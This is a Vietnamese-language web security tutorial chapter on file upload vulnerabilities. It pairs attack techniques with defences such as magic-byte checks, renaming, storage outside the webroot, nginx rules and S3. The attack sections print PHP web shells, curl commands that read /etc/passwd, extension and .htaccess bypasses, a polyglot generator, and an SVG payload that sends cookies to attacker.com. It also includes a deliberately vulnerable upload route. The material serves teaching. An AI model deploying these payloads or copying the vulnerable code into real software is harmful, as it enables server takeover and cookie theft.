Skip to main content

Chương 17: File Upload Vulnerabilities

Khái niệm

File Upload Vulnerabilities là nhóm lỗ hổng xảy ra khi ứng dụng cho phép upload file mà không validate đầy đủ về tên, loại, nội dung, hoặc kích thước. Hậu quả có thể là remote code execution, XSS, hoặc server compromise.

Mức độ nguy hiểm: Rất cao — Upload web shell = full server control.


Cách hoạt động

# Vulnerable code
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['avatar']
filename = file.filename # Lấy nguyên tên từ user
file.save(f"/var/www/html/uploads/{filename}") # Lưu vào webroot!
return {"url": f"/uploads/{filename}"}

# Normal: avatar.jpg → /var/www/html/uploads/avatar.jpg
# Attack: shell.php → /var/www/html/uploads/shell.php
# Request GET /uploads/shell.php → PHP executes → RCE!

Web Shell Upload

Web shell là script server-side cho phép thực thi commands qua HTTP.

PHP Web Shell

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
<?php passthru($_GET['cmd']); ?>
<?php eval($_POST['code']); ?>

// One-liner:
<?=`$_GET[0]`?>

Sử dụng:

curl "https://example.com/uploads/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data)

curl "https://example.com/uploads/shell.php?cmd=cat+/etc/passwd"
curl "https://example.com/uploads/shell.php?cmd=ls+-la+/"

Python/Perl/Ruby Web Shell (nếu server support)

# shell.py (nếu server chạy Python scripts)
import os, cgi
form = cgi.FieldStorage()
cmd = form.getvalue('cmd', 'id')
print("Content-type: text/html\n\n")
print(os.popen(cmd).read())

Bypass Validation Techniques

1. Bypass Content-Type Check

Server check Content-Type header trong multipart upload:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← Thay đổi Content-Type sang image/jpeg

<?php system($_GET['cmd']); ?>
------boundary--

Server check Content-Type: image/jpeg → pass! Nhưng lưu nội dung PHP vào file .php.

2. Bypass Extension Blacklist

# Nếu server block .php:
shell.php3 # PHP3
shell.php4 # PHP4
shell.php5 # PHP5
shell.phtml # PHP HTML template
shell.pHp # Case variation
shell.PHP # Uppercase
shell.php.jpg # Null byte trước: shell.php%00.jpg (PHP 5.3.4 trở về)
shell.php. # Trailing dot (Windows)
shell.php::$DATA # Windows ADS (Alternate Data Stream)
shell.phar # PHP Archive

# Apache: nếu không set handler cho .xxx → fallback
shell.php.xxx
shell.php.unknown

3. Bypass Extension Whitelist

Nếu server chỉ accept .jpg, .png, .gif:

# Nếu server dựa vào extension để serve
shell.jpg với content PHP
→ Upload thành công vì extension .jpg
→ Nhưng làm sao chạy PHP trong .jpg?

# Apache misconfiguration:
# Nếu có .htaccess upload:
AddType application/x-httpd-php .jpg
# → Tất cả .jpg được xử lý như PHP!

# Or: upload .htaccess file
Content-Disposition: form-data; name="file"; filename=".htaccess"
AddType application/x-httpd-php .jpg

# Sau đó upload shell.jpg → executes as PHP

4. Upload .htaccess

# .htaccess trong upload directory
AddType application/x-httpd-php .jpg
Options +ExecCGI
AddHandler cgi-script .jpg

Phòng chống: Server không nên đọc .htaccess trong upload directories.

5. Polyglot Files

File hợp lệ ở nhiều formats cùng lúc:

# Tạo file vừa là valid JPEG vừa là valid PHP
import struct

# JPEG magic bytes
jpeg_header = b'\xff\xd8\xff\xe0'

# PHP payload bên trong JPEG metadata
php_payload = b'''
<?php system($_GET['cmd']); ?>
'''

# GIF + PHP polyglot
polyglot = b'GIF89a' + php_payload # Valid GIF header + PHP code

with open('polyglot.php.gif', 'wb') as f:
f.write(polyglot)

# Nếu server check: "Có phải GIF không?" → GIF89a header → pass!
# Nếu server serve với .php extension → PHP executes!

Tool: exiftool để embed trong metadata:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# → PHP trong EXIF comment của file JPEG
# Nếu server dùng GD/Imagick và preserve EXIF → payload survive image resizing

6. Path Traversal trong Filename

filename = "../../../var/www/html/shell.php"
→ File được lưu ra khỏi upload directory

# URL encoded
filename = "..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php"

# Double encoded
filename = "..%252F..%252Fvar%252Fwww%252Fhtml%252Fshell.php"

7. Race Condition

1. Upload file.php (với web shell)
2. Server validate → xóa nếu invalid
3. Trong window nhỏ giữa upload và validate
→ Kẻ tấn công request file.php
→ PHP executes trước khi bị xóa

Kịch bản tấn công: SVG Upload XSS

Dù server có restrict PHP, SVG files có thể trigger XSS:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert(document.cookie);
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
</svg>

Nếu server serve SVG với Content-Type: image/svg+xml → browser execute JS.


Cách phát hiện

□ Upload các file types khác nhau:
- .php, .php5, .phtml, .phar
- .asp, .aspx (IIS)
- .jsp (Tomcat)
- .sh (bash)

□ Thử bypass Content-Type: image/jpeg với PHP content
□ Upload .htaccess
□ Test extension variations: .pHp, .PHP, .php.jpg
□ Check upload directory có executable không?
□ Check nếu file có thể truy cập trực tiếp từ URL

□ SVG: inject XSS payload
□ DOCX/XLSX: XXE payload
□ Filename path traversal

Phòng chống

1. Validate File Content (Magic Bytes)

import magic
from PIL import Image
import io

def validate_image(file_content: bytes, allowed_types: list) -> bool:
# Kiểm tra magic bytes (không phải extension hoặc Content-Type)
detected_type = magic.from_buffer(file_content, mime=True)

if detected_type not in allowed_types:
return False

# Kiểm tra là ảnh thực sự (có thể parse được)
if detected_type in ('image/jpeg', 'image/png', 'image/gif'):
try:
img = Image.open(io.BytesIO(file_content))
img.verify() # Verify integrity
except Exception:
return False

return True

ALLOWED_IMAGE_TYPES = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']

@app.route('/upload', methods=['POST'])
def upload():
file = request.files['avatar']
content = file.read()

if not validate_image(content, ALLOWED_IMAGE_TYPES):
return {"error": "Invalid file type"}, 400

# Xử lý tiếp...

2. Rename File — Không giữ tên gốc

import secrets
import os
from pathlib import Path

def save_upload(file_content: bytes, original_filename: str) -> str:
# Lấy extension từ whitelist, không từ user input
ext_map = {
'image/jpeg': '.jpg',
'image/png': '.png',
'image/gif': '.gif',
}

detected_mime = magic.from_buffer(file_content, mime=True)

if detected_mime not in ext_map:
raise ValueError("File type not allowed")

# Tạo tên file random
safe_filename = secrets.token_hex(16) + ext_map[detected_mime]

# Lưu NGOÀI webroot — không accessible trực tiếp qua HTTP
upload_dir = Path('/var/uploads') # Không phải /var/www/html/uploads
file_path = upload_dir / safe_filename

file_path.write_bytes(file_content)
return safe_filename

3. Lưu ngoài Webroot và Serve qua Application

# Serve file qua application layer, không trực tiếp
@app.route('/files/<file_id>')
@login_required
def serve_file(file_id):
# Check ownership
file = db.get_file(file_id, owner_id=g.current_user.id)
if not file:
abort(404)

file_path = Path('/var/uploads') / file.stored_name

return send_file(
file_path,
mimetype=file.mime_type,
as_attachment=False,
download_name=file.original_name
)

4. Image Reprocessing

from PIL import Image
import io

def reprocess_image(file_content: bytes) -> bytes:
"""
Reprocess image để strip metadata và ensure clean file
- Loại bỏ EXIF/metadata (ngăn polyglot attacks)
- Resize/recompress (ngăn decompression bombs)
"""
img = Image.open(io.BytesIO(file_content))

# Convert về RGB (đảm bảo consistent format)
if img.mode in ('RGBA', 'P'):
img = img.convert('RGBA')
else:
img = img.convert('RGB')

# Limit size
max_size = (2048, 2048)
img.thumbnail(max_size, Image.LANCZOS)

# Save lại — không preserve metadata
output = io.BytesIO()
img.save(output, format='JPEG', quality=85)

return output.getvalue()

5. Nginx Config — Không Execute trong Upload Directory

location /uploads/ {
# Không cho phép execute scripts
add_header X-Content-Type-Options nosniff;

# Override Content-Type — force download
types { }
default_type application/octet-stream;

# Hoặc: chặn execution
location ~* \.(php|phtml|php3|php4|php5|pl|py|rb|sh)$ {
return 403;
}

# Không đọc .htaccess
disable_symlinks on;
}

Góc nhìn DevOps

Lưu file trên Object Storage (S3) thay vì local:

import boto3

s3 = boto3.client('s3')

def upload_to_s3(file_content: bytes, original_name: str) -> str:
# Random key name
s3_key = f"uploads/{secrets.token_hex(16)}.jpg"

s3.put_object(
Bucket='my-uploads-bucket',
Key=s3_key,
Body=file_content,
ContentType='image/jpeg',
# Server-side encryption
ServerSideEncryption='AES256',
# Không public accessible (default)
)

return s3_key

# Serve qua presigned URL (temporary, limited time)
def get_presigned_url(s3_key: str) -> str:
return s3.generate_presigned_url(
'get_object',
Params={'Bucket': 'my-uploads-bucket', 'Key': s3_key},
ExpiresIn=3600 # 1 giờ
)

Kubernetes: Scan uploaded files:

# ClamAV sidecar để scan uploads
containers:
- name: app
image: myapp
- name: clamav
image: clamav/clamav
volumeMounts:
- name: uploads
mountPath: /uploads

Limit upload size:

# Nginx: limit file size
client_max_body_size 10M;

# Kubernetes Ingress
nginx.ingress.kubernetes.io/proxy-body-size: "10m"

Tóm tắt

  • File upload vulnerabilities → web shell upload → RCE.
  • Validate bằng magic bytes (file content), không phải extension hay Content-Type header.
  • Rename files với random names — không giữ tên gốc.
  • Lưu files ngoài webroot và serve qua application.
  • Reprocess images để strip metadata và ensure clean content.
  • S3 object storage + presigned URLs là pattern tốt nhất.
  • Nginx config ngăn script execution trong upload directories.

Câu hỏi ôn tập

  1. Tại sao kiểm tra Content-Type header không đủ để validate file upload?
  2. Polyglot file attack là gì? Tại sao image reprocessing giúp phòng chống?
  3. Tại sao lưu files trong webroot nguy hiểm hơn ngoài webroot?
  4. Race condition trong file upload vulnerability hoạt động như thế nào?
  5. Mô tả tại sao S3 + presigned URLs là pattern tốt cho file storage.